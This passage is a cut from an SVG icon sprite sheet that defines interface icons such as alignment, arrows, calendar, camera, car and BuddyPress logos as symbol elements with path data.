4h3v-2h-3v2zM3 17h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-none"><title>align-none</title><g><path d="M3 5h14V3H3v2zm10 8V7H3v6h10zM3 17h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-pull-left"><title>align-pull-left</title><g><path d="M9 16V4H3v12h6zm2-7h6V7h-6v2zm0 4h6v-2h-6v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-pull-right"><title>align-pull-right</title><g><path d="M17 16V4h-6v12h6zM9 7H3v2h6V7zm0 4H3v2h6v-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-right"><title>align-right</title><g><path d="M3 5h14V3H3v2zm0 4h3V7H3v2zm14 4V7H8v6h9zM3 13h3v-2H3v2zm0 4h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="align-wide"><title>align-wide</title><g><path d="M5 5h10V3H5v2zm12 8V7H3v6h14zM5 17h10v-2H5v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="amazon"><title>amazon</title><g><style>.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><path d="M16.2 14.9c-1.9.8-4 1.2-6.1 1.2-2.8 0-5.5-.7-7.9-2.1-.2-.1-.3.1-.2.2 2.2 2 5 3 7.9 3 2.3 0 4.6-.7 6.5-2 .4-.1.1-.5-.2-.3zm1.8-1c-.9-.4-2-.3-2.8.3-.2.1-.1.3 0 .2.6-.1 1.8-.2 2 .1.2.3-.2 1.5-.5 2-.1.2.1.2.2.1.8-.7 1.2-1.7 1.1-2.7zm-9-1.3c1.1.1 2.2-.4 2.9-1.3.3.4.6.8 1 1.2.1.1.3.1.4 0 .3-.3 1-.9 1.3-1.2.1-.1.1-.3 0-.5-.4-.4-.6-1-.7-1.6V6.5c0-1.1.1-2.2-.8-3-.7-.6-1.7-.9-2.6-.9-1.6.1-3.5.7-3.8 2.7 0 .2.1.3.3.3l1.7.2c.2 0 .3-.2.3-.3.1-.7.7-1.1 1.4-1 .4 0 .7.2 1 .5.2.4.3.8.2 1.3v.2c-1.1 0-2.2.2-3.3.6-1.2.4-2 1.5-1.9 2.8v.4c0 1.3 1.2 2.4 2.6 2.3zm2.5-4.8v.4c.1.6 0 1.3-.3 1.8-.2.5-.7.8-1.2.8-.7 0-1.1-.5-1.1-1.3 0-1.4 1.3-1.7 2.6-1.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="analytics"><title>analytics</title><g><path d="M18 18V2H2v16h16zM16 5H4V4h12v1zM7 7v3h3c0 1.66-1.34 3-3 3s-3-1.34-3-3 1.34-3 3-3zm1 2V7c1.1 0 2 .9 2 2H8zm8-1h-4V7h4v1zm0 3h-4V9h4v2zm0 2h-4v-1h4v1zm0 3H4v-1h12v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="archive"><title>archive</title><g><path d="M19 4v2H1V4h18zM2 7h16v10H2V7zm11 3V9H7v1h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-down-alt"><title>arrow-down-alt</title><g><path d="M9 2h2v12l4-4 2 1-7 7-7-7 2-1 4 4V2z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-down-alt2"><title>arrow-down-alt2</title><g><path d="M5 6l5 5 5-5 2 1-7 7-7-7z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-down"><title>arrow-down</title><g><path d="M15 8l-4.03 6L7 8h8z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-left-alt"><title>arrow-left-alt</title><g><path d="M18 9v2H6l4 4-1 2-7-7 7-7 1 2-4 4h12z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-left-alt2"><title>arrow-left-alt2</title><g><path d="M14 5l-5 5 5 5-1 2-7-7 7-7z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-left"><title>arrow-left</title><g><path d="M13 14L7 9.97 13 6v8z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-right-alt"><title>arrow-right-alt</title><g><path d="M2 11V9h12l-4-4 1-2 7 7-7 7-1-2 4-4H2z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-right-alt2"><title>arrow-right-alt2</title><g><path d="M6 15l5-5-5-5 1-2 7 7-7 7z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-right"><title>arrow-right</title><g><path d="M8 6l6 4.03L8 14V6z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-up-alt"><title>arrow-up-alt</title><g><path d="M11 18H9V6l-4 4-2-1 7-7 7 7-2 1-4-4v12z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-up-alt2"><title>arrow-up-alt2</title><g><path d="M15 14l-5-5-5 5-2-1 7-7 7 7z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-up-duplicate"><title>arrow-up-duplicate</title><g><path d="M7 13l4.03-6L15 13H7z"/></g></symbol><symbol viewBox="0 0 20 20" id="arrow-up"><title>arrow-up</title><g><path d="M11 7l-4 6h8"/></g></symbol><symbol viewBox="0 0 20 20" id="art"><title>art</title><g><path d="M8.55 3.06c1.01.34-1.95 2.01-.1 3.13 1.04.63 3.31-2.22 4.45-2.86.97-.54 2.67-.65 3.53 1.23 1.09 2.38.14 8.57-3.79 11.06-3.97 2.5-8.97 1.23-10.7-2.66-2.01-4.53 3.12-11.09 6.61-9.9zm1.21 6.45c.73 1.64 4.7-.5 3.79-2.8-.59-1.49-4.48 1.25-3.79 2.8z"/></g></symbol><symbol viewBox="0 0 20 20" id="awards"><title>awards</title><g><path d="M4.46 5.16L5 7.46l-.54 2.29 2.01 1.24L7.7 13l2.3-.54 2.3.54 1.23-2.01 2.01-1.24L15 7.46l.54-2.3-2-1.24-1.24-2.01-2.3.55-2.29-.54-1.25 2zm5.55 6.34C7.79 11.5 6 9.71 6 7.49c0-2.2 1.79-3.99 4.01-3.99 2.2 0 3.99 1.79 3.99 3.99 0 2.22-1.79 4.01-3.99 4.01zm-.02-1C8.33 10.5 7 9.16 7 7.5c0-1.65 1.33-3 2.99-3S13 5.85 13 7.5c0 1.66-1.35 3-3.01 3zm3.84 1.1l-1.28 2.24-2.08-.47L13 19.2l1.4-2.2h2.5zm-7.7.07l1.25 2.25 2.13-.51L7 19.2 5.6 17H3.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="backup"><title>backup</title><g><path d="M13.65 2.88c3.93 2.01 5.48 6.84 3.47 10.77s-6.83 5.48-10.77 3.47c-1.87-.96-3.2-2.56-3.86-4.4l1.64-1.03c.45 1.57 1.52 2.95 3.08 3.76 3.01 1.54 6.69.35 8.23-2.66 1.55-3.01.36-6.69-2.65-8.24C9.78 3.01 6.1 4.2 4.56 7.21l1.88.97-4.95 3.08-.39-5.82 1.78.91C4.9 2.4 9.75.89 13.65 2.88zm-4.36 7.83C9.11 10.53 9 10.28 9 10c0-.07.03-.12.04-.19h-.01L10 5l.97 4.81L14 13l-4.5-2.12.02-.02c-.08-.04-.16-.09-.23-.15z"/></g></symbol><symbol viewBox="0 0 20 20" id="bank"><title>bank</title><g><path d="M10 2L3 6v1h14V6l-7-4zM5 8l-.2 7h2.5L7 8H5zm4 0l-.2 7h2.5L11 8H9zm4 0l-.2 7h2.5L15 8h-2zM3 18h14v-2H3v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="beer"><title>beer</title><g><path d="M13.8 9.3c-.8-.1-1.5-.4-2-1s-.9-1.3-1-2c-.4-.1-.7-.3-1-.6-.4-.5-.6-1-.7-1.5l-.9.9-.8-.7c-.6-.7-1.7-.7-2.4 0L2.5 6.9c-.7.7-.7 1.8 0 2.5l.7.8-.6.6c-.7.7-.7 1.8 0 2.5l4.3 4.3c.7.7 1.8.7 2.4 0l6.4-6.5c-.5-.1-1-.3-1.4-.7-.1-.4-.3-.8-.5-1.1zM3.6 7.6l2-2c.3-.3.8-.3 1 0l.5.5-2.9 3.1-.6-.6c-.2-.3-.2-.7 0-1zm.6 4.7c-.3-.3-.3-.7 0-.9L8.5 7c.3-.3.7-.3.9 0 .3.3.3.7 0 .9l-4.3 4.3c-.3.3-.7.3-.9.1zM6 14.1c-.3-.3-.3-.7 0-.9l4.3-4.3c.3-.3.7-.3.9 0 .3.3.3.7 0 .9l-4.3 4.3c-.2.3-.6.3-.9 0zm7.1-2.5L8.8 16c-.3.3-.7.3-.9 0-.3-.3-.3-.7 0-.9l4.3-4.3c.3-.3.7-.3.9 0 .2.1.2.6 0 .8zm4.4-4.4c-.2-.2-.5-.4-.7-.4.4-1 .2-2.2-.6-2.9-.8-.8-1.9-1-2.9-.6-.1-.3-.3-.6-.5-.8-.7-.7-1.8-.7-2.4 0-.7.7-.7 1.8 0 2.5.3.3.8.5 1.2.5-.1.8.2 1.6.8 2.2.6.6 1.4.8 2.2.8 0 .5.2.9.5 1.2.7.7 1.8.7 2.4 0 .7-.7.7-1.8 0-2.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="bell"><title>bell</title><g><path d="M10 18c1.1 0 2-.9 2-2H8c0 1.1.9 2 2 2zm4-8.2V7.5c0-1.8-1.2-3.4-3-3.9.1-.2.1-.4.2-.5-.1-.6-.6-1.1-1.2-1.1s-1.1.5-1.1 1.1c0 .2.1.4.2.5-1.8.4-3 2-3 3.9v2.2c-.1 1.2-.9 2.3-2 2.8V15h12v-2.5c-1.2-.4-2-1.5-2.1-2.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="block-default"><title>block-default</title><g><path d="M15 6V4h-3v2H8V4H5v2H4c-.6 0-1 .4-1 1v8h14V7c0-.6-.4-1-1-1h-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="book-alt"><title>book-alt</title><g><path d="M5 17h13v2H5c-1.66 0-3-1.34-3-3V4c0-1.66 1.34-3 3-3h13v14H5c-.55 0-1 .45-1 1s.45 1 1 1zm2-3.5v-11c0-.28-.22-.5-.5-.5s-.5.22-.5.5v11c0 .28.22.5.5.5s.5-.22.5-.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="book"><title>book</title><g><path d="M16 3h2v16H5c-1.66 0-3-1.34-3-3V4c0-1.66 1.34-3 3-3h9v14H5c-.55 0-1 .45-1 1s.45 1 1 1h11V3z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-activity"><title>buddicons-activity</title><g><path d="M8 1v7h2V6c0-1.52 1.45-3 3-3v.86c.55-.52 1.26-.86 2-.86v3h1c1.1 0 2 .9 2 2s-.9 2-2 2h-1v6c0 .55-.45 1-1 1s-1-.45-1-1v-2.18c-.31.11-.65.18-1 .18v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H8v2c0 .55-.45 1-1 1s-1-.45-1-1v-2c-.35 0-.69-.07-1-.18V16c0 .55-.45 1-1 1s-1-.45-1-1v-4H2v-1c0-1.66 1.34-3 3-3h2V1h1zm5 7c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-bbpress-logo"><title>buddicons-bbpress-logo</title><g><path d="M4.5 6.2C3.7 7.3 3.3 8.6 3.3 10c0 1 .2 1.9.6 2.8l1-4.6c.3-1.7.4-2-.4-2zm4 6.4c.3-1.3 0-2.3-1.1-2.3-.8 0-1.6.6-1.8 1.5l-.3 1.7c-.3 1 .3 1.5 1 1.5 1.2 0 1.9-1.1 2.2-2.4zM10 2c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 15.5c-2.1 0-4-.8-5.3-2.2-.3-.4-.7-.8-1-1.2-.7-1.2-1.2-2.6-1.2-4.1 0-4.1 3.4-7.5 7.5-7.5s7.5 3.4 7.5 7.5-3.4 7.5-7.5 7.5zm3.8-4.9c.3-1.3 0-2.3-1.1-2.3-.8 0-1.6.6-1.8 1.5l-.4 1.7c-.2 1.1.4 1.6 1.1 1.6 1.1-.1 1.9-1.2 2.2-2.5zM10 3.3c-2 0-3.9.9-5.1 2.3.6-.1 1.4-.2 1.8-.3.2 0 .2.1.2.2 0 .2-1 4.8-1 4.8.5-.3 1.2-.7 1.8-.7.9 0 1.5.4 1.9.9l.5-2.4c.4-1.6.4-1.9-.4-1.9-.4 0-.4-.5 0-.6.6-.1 1.8-.2 2.3-.3.2 0 .2.1.2.2l-1 4.8c.5-.4 1.2-.7 1.9-.7 1.7 0 2.5 1.3 2.1 3-.3 1.7-2 3-3.8 3-1.3 0-2.1-.7-2.3-1.4-.7.8-1.7 1.3-2.8 1.4 1.1.7 2.4 1.1 3.7 1.1 3.7 0 6.7-3 6.7-6.7s-3-6.7-6.7-6.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-buddypress-logo"><title>buddicons-buddypress-logo</title><g><path d="M10 0c5.52 0 10 4.48 10 10s-4.48 10-10 10S0 15.52 0 10 4.48 0 10 0zm0 .5C4.75.5.5 4.75.5 10s4.25 9.5 9.5 9.5 9.5-4.25 9.5-9.5S15.25.5 10 .5zm0 1c4.7 0 8.5 3.8 8.5 8.5s-3.8 8.5-8.5 8.5-8.5-3.8-8.5-8.5S5.3 1.5 10 1.5zm1.8 1.71c-.57 0-1.1.17-1.55.45 1.56.37 2.73 1.77 2.73 3.45 0 .69-.21 1.33-.55 1.87 1.31-.29 2.29-1.45 2.29-2.85 0-1.61-1.31-2.92-2.92-2.92zm-2.38 1c-1.61 0-2.92 1.31-2.92 2.93 0 1.61 1.31 2.92 2.92 2.92 1.62 0 2.93-1.31 2.93-2.92 0-1.62-1.31-2.93-2.93-2.93zm4.25 5.01l-.51.59c2.34.69 2.45 3.61 2.45 3.61h1.28c0-4.71-3.22-4.2-3.22-4.2zm-2.1.8l-2.12 2.09-2.12-2.09C3.12 10.24 3.89 15 3.89 15h11.08c.47-4.98-3.4-4.98-3.4-4.98z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-community"><title>buddicons-community</title><g><path d="M9 3c0-.67-.47-1.43-1-2-.5.5-1 1.38-1 2 0 .48.45 1 1 1s1-.47 1-1zm4 0c0-.67-.47-1.43-1-2-.5.5-1 1.38-1 2 0 .48.45 1 1 1s1-.47 1-1zM9 9V5.5c0-.55-.45-1-1-1-.57 0-1 .49-1 1V9c0 .55.45 1 1 1 .57 0 1-.49 1-1zm4 0V5.5c0-.55-.45-1-1-1-.57 0-1 .49-1 1V9c0 .55.45 1 1 1 .57 0 1-.49 1-1zm4 1c0-1.48-1.41-2.77-3.5-3.46V9c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5V6.01c-.17 0-.33-.01-.5-.01s-.33.01-.5.01V9c0 .83-.67 1.5-1.5 1.5S6.5 9.83 6.5 9V6.54C4.41 7.23 3 8.52 3 10c0 1.41.95 2.65 3.21 3.37 1.11.35 2.39 1.12 3.79 1.12s2.69-.78 3.79-1.13C16.04 12.65 17 11.41 17 10zm-7 5.43c1.43 0 2.74-.79 3.88-1.11 1.9-.53 2.49-1.34 3.12-2.32v3c0 2.21-3.13 4-7 4s-7-1.79-7-4v-3c.64.99 1.32 1.8 3.15 2.33 1.13.33 2.44 1.1 3.85 1.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-forums"><title>buddicons-forums</title><g><path d="M13.5 7h-7C5.67 7 5 6.33 5 5.5S5.67 4 6.5 4h1.59C8.04 3.84 8 3.68 8 3.5 8 2.67 8.67 2 9.5 2h1c.83 0 1.5.67 1.5 1.5 0 .18-.04.34-.09.5h1.59c.83 0 1.5.67 1.5 1.5S14.33 7 13.5 7zM4 8h12c.55 0 1 .45 1 1s-.45 1-1 1H4c-.55 0-1-.45-1-1s.45-1 1-1zm1 3h10c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1zm2 3h6c.55 0 1 .45 1 1s-.45 1-1 1h-1.09c.05.16.09.32.09.5 0 .83-.67 1.5-1.5 1.5h-1c-.83 0-1.5-.67-1.5-1.5 0-.18.04-.34.09-.5H7c-.55 0-1-.45-1-1s.45-1 1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-friends"><title>buddicons-friends</title><g><path d="M8.75 5.77C8.75 4.39 7 2 7 2S5.25 4.39 5.25 5.77 5.9 7.5 7 7.5s1.75-.35 1.75-1.73zm6 0C14.75 4.39 13 2 13 2s-1.75 2.39-1.75 3.77S11.9 7.5 13 7.5s1.75-.35 1.75-1.73zM9 17V9c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1h2c.55 0 1-.45 1-1zm6 0V9c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1h2c.55 0 1-.45 1-1zm-9-6l2-1v2l-2 1v-2zm6 0l2-1v2l-2 1v-2zm-6 3l2-1v2l-2 1v-2zm6 0l2-1v2l-2 1v-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-groups"><title>buddicons-groups</title><g><path d="M15.45 6.25c1.83.94 1.98 3.18.7 4.98-.8 1.12-2.33 1.88-3.46 1.78L10.05 18H9l-2.65-4.99c-1.13.16-2.73-.63-3.55-1.79-1.28-1.8-1.13-4.04.71-4.97.48-.24.96-.33 1.43-.31-.01.4.01.8.07 1.21.26 1.69 1.41 3.53 2.86 4.37-.19.55-.49.99-.88 1.25L9 16.58v-5.66C7.64 10.55 6.26 8.76 6 7c-.4-2.65 1-5 3.5-5s3.9 2.35 3.5 5c-.26 1.76-1.64 3.55-3 3.92v5.77l2.07-3.84c-.44-.23-.77-.71-.99-1.3 1.48-.83 2.65-2.69 2.91-4.4.06-.41.08-.82.07-1.22.46-.01.92.08 1.39.32z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-pm"><title>buddicons-pm</title><g><path d="M10 2c3 0 8 5 8 5v11H2V7s5-5 8-5zm7 14.72l-3.73-2.92L17 11l-.43-.37-2.26 1.3.24-4.31-8.77-.52-.46 4.54-1.99-.95L3 11l3.73 2.8-3.44 2.85.4.43L10 13l6.53 4.15z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-replies"><title>buddicons-replies</title><g><path d="M17.54 10.29c1.17 1.17 1.17 3.08 0 4.25-1.18 1.17-3.08 1.17-4.25 0l-.34-.52c0 3.66-2 4.38-2.95 4.98-.82-.6-2.95-1.28-2.95-4.98l-.34.52c-1.17 1.17-3.07 1.17-4.25 0-1.17-1.17-1.17-3.08 0-4.25 0 0 1.02-.67 2.1-1.3C3.71 7.84 3.2 6.42 3.2 4.88c0-.34.03-.67.08-1C3.53 5.66 4.47 7.22 5.8 8.3c.67-.35 1.85-.83 2.37-.92H8c-1.1 0-2-.9-2-2s.9-2 2-2v-.5c0-.28.22-.5.5-.5s.5.22.5.5v.5h2v-.5c0-.28.22-.5.5-.5s.5.22.5.5v.5c1.1 0 2 .9 2 2s-.9 2-2 2h-.17c.51.09 1.78.61 2.38.92 1.33-1.08 2.27-2.64 2.52-4.42.05.33.08.66.08 1 0 1.54-.51 2.96-1.36 4.11 1.08.63 2.09 1.3 2.09 1.3zM8.5 6.38c.5 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1zm3-2c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1zm-2.3 5.73c-.12.11-.19.26-.19.43.02.25.23.46.49.46h1c.26 0 .47-.21.49-.46 0-.15-.07-.29-.19-.43-.08-.06-.18-.11-.3-.11h-1c-.12 0-.22.05-.3.11zM12 12.5c0-.12-.06-.28-.19-.38-.09-.07-.19-.12-.31-.12h-3c-.12 0-.22.05-.31.12-.11.1-.19.25-.19.38 0 .28.22.5.5.5h3c.28 0 .5-.22.5-.5zM8.5 15h3c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-3c-.28 0-.5.22-.5.5s.22.5.5.5zm1 2h1c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-topics"><title>buddicons-topics</title><g><path d="M10.44 1.66c-.59-.58-1.54-.58-2.12 0L2.66 7.32c-.58.58-.58 1.53 0 2.12.6.6 1.56.56 2.12 0l5.66-5.66c.58-.58.59-1.53 0-2.12zm2.83 2.83c-.59-.59-1.54-.59-2.12 0l-5.66 5.66c-.59.58-.59 1.53 0 2.12.6.6 1.56.55 2.12 0l5.66-5.66c.58-.58.58-1.53 0-2.12zm1.06 6.72l4.18 4.18c.59.58.59 1.53 0 2.12s-1.54.59-2.12 0l-4.18-4.18-1.77 1.77c-.59.58-1.54.58-2.12 0-.59-.59-.59-1.54 0-2.13l5.66-5.65c.58-.59 1.53-.59 2.12 0 .58.58.58 1.53 0 2.12zM5 15c0-1.59-1.66-4-1.66-4S2 13.78 2 15s.6 2 1.34 2h.32C4.4 17 5 16.59 5 15z"/></g></symbol><symbol viewBox="0 0 20 20" id="buddicons-tracking"><title>buddicons-tracking</title><g><path d="M10.98 6.78L15.5 15c-1 2-3.5 3-5.5 3s-4.5-1-5.5-3L9 6.82c-.75-1.23-2.28-1.98-4.29-2.03l2.46-2.92c1.68 1.19 2.46 2.32 2.97 3.31.56-.87 1.2-1.68 2.7-2.12l1.83 2.86c-1.42-.34-2.64.08-3.69.86zM8.17 10.4l-.93 1.69c.49.11 1 .16 1.54.16 1.35 0 2.58-.36 3.55-.95l-1.01-1.82c-.87.53-1.96.86-3.15.92zm.86 5.38c1.99 0 3.73-.74 4.74-1.86l-.98-1.76c-1 1.12-2.74 1.87-4.74 1.87-.62 0-1.21-.08-1.76-.21l-.63 1.15c.94.5 2.1.81 3.37.81z"/></g></symbol><symbol viewBox="0 0 20 20" id="building"><title>building</title><g><path d="M3 20h14V0H3v20zM7 3H5V1h2v2zm4 0H9V1h2v2zm4 0h-2V1h2v2zM7 6H5V4h2v2zm4 0H9V4h2v2zm4 0h-2V4h2v2zM7 9H5V7h2v2zm4 0H9V7h2v2zm4 0h-2V7h2v2zm-8 3H5v-2h2v2zm4 0H9v-2h2v2zm4 0h-2v-2h2v2zm-4 7H5v-6h6v6zm4-4h-2v-2h2v2zm0 3h-2v-2h2v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="businessman"><title>businessman</title><g><path d="M17 16.9v-2.5c0-.7-.1-1.4-.5-2.1-.4-.7-.9-1.3-1.6-1.7-.7-.5-2.2-.6-2.9-.6l-1.6 1.7.6 1.3v3l-1 1.1L9 16v-3l.7-1.3L8 10c-.8 0-2.3.1-3 .6-.7.4-1.1 1-1.5 1.7S3 13.6 3 14.4v2.5S5.6 18 10 18s7-1.1 7-1.1zM10 2.1c-1.9 0-3 1.8-2.7 3.8.3 2 1.3 3.4 2.7 3.4s2.4-1.4 2.7-3.4c.3-2.1-.8-3.8-2.7-3.8z"/></g></symbol><symbol viewBox="0 0 20 20" id="businessperson"><title>businessperson</title><g><path d="M13.2 10L11 13l-1-1.4L9 13l-2.2-3C3 11 3 13 3 16.9c0 0 3 1.1 6.4 1.1h1.2c3.4-.1 6.4-1.1 6.4-1.1 0-3.9 0-5.9-3.8-6.9zm-3.2.7L8.4 10l1.6 1.6 1.6-1.6-1.6.7zM10 2.1c-1.9 0-3 1.8-2.7 3.8.3 2 1.3 3.4 2.7 3.4s2.4-1.4 2.7-3.4c.3-2.1-.8-3.8-2.7-3.8z"/></g></symbol><symbol viewBox="0 0 20 20" id="businesswoman"><title>businesswoman</title><g><path d="M16 11c-.9-.8-2.2-.9-3.4-1l1 2.1-3.6 3.7-3.6-3.6 1-2.2c-1.2 0-2.5.2-3.4 1-.8.7-1 1.9-1 3.1v2.8s3.4 1.2 7 1.1c3.6.1 7-1.1 7-1.1v-2.8c0-1.1-.2-2.3-1-3.1zM6.6 9.3c.8 0 2-.4 2.2-.7-.8-1-1.5-2-.8-3.9 0 0 1.1 1.2 4.3 1.5 0 1-.5 1.7-1.1 2.4.2.3 1.4.7 2.2.7s1.4-.2 1.4-.5-1.3-1.3-1.6-2.2c-.3-.9-.1-1.9-.5-3.1-.6-1.4-2-1.5-2.7-1.5-.7 0-2.1.1-2.7 1.5-.4 1.2-.2 2.2-.5 3.1-.3.9-1.6 1.9-1.6 2.2 0 .3.6.5 1.4.5z"/><path d="M10 11l-2.3-1 2.3 5.8 2.3-5.8"/></g></symbol><symbol viewBox="0 0 20 20" id="button"><title>button</title><g><path d="M17 5H3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm1 7c0 .6-.4 1-1 1H3c-.6 0-1-.4-1-1V7c0-.6.4-1 1-1h14c.6 0 1 .4 1 1v5z"/></g></symbol><symbol viewBox="0 0 20 20" id="calculator"><title>calculator</title><g><path d="M15 2H5c-.6 0-1 .4-1 1v14c0 .6.4 1 1 1h10c.6 0 1-.4 1-1V3c0-.6-.4-1-1-1zM6.5 16.8c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zm0-3.6c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zm0-3.4c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zm3.5 7c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zm0-3.6c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zm0-3.4c-.7 0-1.2-.6-1.2-1.2s.5-1.4 1.2-1.4 1.2.6 1.2 1.2-.5 1.4-1.2 1.4zm4.8 5.7c0 .7-.6 1.2-1.2 1.2s-1.2-.6-1.2-1.2V12c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v3.5zm-1.3-5.7c-.7 0-1.2-.6-1.2-1.2s.6-1.2 1.2-1.2 1.2.6 1.2 1.2-.5 1.2-1.2 1.2zM15 6.4H5V3h10v3.4z"/></g></symbol><symbol viewBox="0 0 20 20" id="calendar-alt"><title>calendar-alt</title><g><path d="M15 4h3v15H2V4h3V3c0-.41.15-.76.44-1.06.29-.29.65-.44 1.06-.44s.77.15 1.06.44c.29.3.44.65.44 1.06v1h4V3c0-.41.15-.76.44-1.06.29-.29.65-.44 1.06-.44s.77.15 1.06.44c.29.3.44.65.44 1.06v1zM6 3v2.5c0 .14.05.26.15.36.09.09.21.14.35.14s.26-.05.35-.14c.1-.1.15-.22.15-.36V3c0-.14-.05-.26-.15-.35-.09-.1-.21-.15-.35-.15s-.26.05-.35.15c-.1.09-.15.21-.15.35zm7 0v2.5c0 .14.05.26.14.36.1.09.22.14.36.14s.26-.05.36-.14c.09-.1.14-.22.14-.36V3c0-.14-.05-.26-.14-.35-.1-.1-.22-.15-.36-.15s-.26.05-.36.15c-.09.09-.14.21-.14.35zm4 15V8H3v10h14zM7 9v2H5V9h2zm2 0h2v2H9V9zm4 2V9h2v2h-2zm-6 1v2H5v-2h2zm2 0h2v2H9v-2zm4 2v-2h2v2h-2zm-6 1v2H5v-2h2zm4 2H9v-2h2v2zm4 0h-2v-2h2v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="calendar"><title>calendar</title><g><path d="M15 4h3v14H2V4h3V3c0-.83.67-1.5 1.5-1.5S8 2.17 8 3v1h4V3c0-.83.67-1.5 1.5-1.5S15 2.17 15 3v1zM6 3v2.5c0 .28.22.5.5.5s.5-.22.5-.5V3c0-.28-.22-.5-.5-.5S6 2.72 6 3zm7 0v2.5c0 .28.22.5.5.5s.5-.22.5-.5V3c0-.28-.22-.5-.5-.5s-.5.22-.5.5zm4 14V8H3v9h14zM7 16V9H5v7h2zm4 0V9H9v7h2zm4 0V9h-2v7h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="camera-alt"><title>camera-alt</title><g><path d="M15 4h2.94c.59 0 1.06.47 1.06 1.06v11.81c0 .59-.47 1.13-1.06 1.13H2.06C1.47 18 1 17.46 1 16.87V5.06C1 4.47 1.47 4 2.06 4H5l3-2h4zm-5 11c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4z"/></g></symbol><symbol viewBox="0 0 20 20" id="camera"><title>camera</title><g><path d="M6 5V3H3v2h3zm12 10V4H9L7 6H2v9h16zm-7-8c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3z"/></g></symbol><symbol viewBox="0 0 20 20" id="car"><title>car</title><g><style>.st0{fill:#00000A;}</style><circle cx="14" cy="13.5" r="1.5"/><path d="M16.1 9h-1.6c-.6-2.7-3.2-4.5-5.9-3.9C6.6 5.5 5 7 4.6 9h-.7c-1 0-1.9.9-1.9 1.9v1.3c0 .7.6 1.3 1.3 1.3h.3c0-1.3 1.1-2.4 2.4-2.4 1.3 0 2.4 1.1 2.4 2.4h3.2c0-1.3 1.1-2.4 2.4-2.4 1.3 0 2.4 1.1 2.4 2.4h.3c.7 0 1.3-.6 1.3-1.3V11c0-1.1-.9-2-1.9-2zM6.2 9c.5-1.9 2.5-2.9 4.3-2.4 1.1.3 2 1.2 2.4 2.4H6.2zM6 12c-.8 0-1.5.7-1.5 1.5S5.2 15 6 15s1.5-.7 1.5-1.5S6.8 12 6 12z"/></g></symbol><symbol viewBox="0 0 20 20" id="carrot"><title>carrot</title><g><path d="M2 18.43c1.51 1.36 11.64-4.67 13.14-7.21.72-1.22-.13-3.01-1.52-4.44C15.2 5.73 16.59 9 17.91 8.31c.6-.32.99-1.31.7-1.92-.52-1.08-2.25-1.08-3.42-1.21.83-.2 2.82-1.05 2.86-2.25.04-.92-1.13-1.97-2.05-1.86-1.21.14-1.65 1.88-2.06 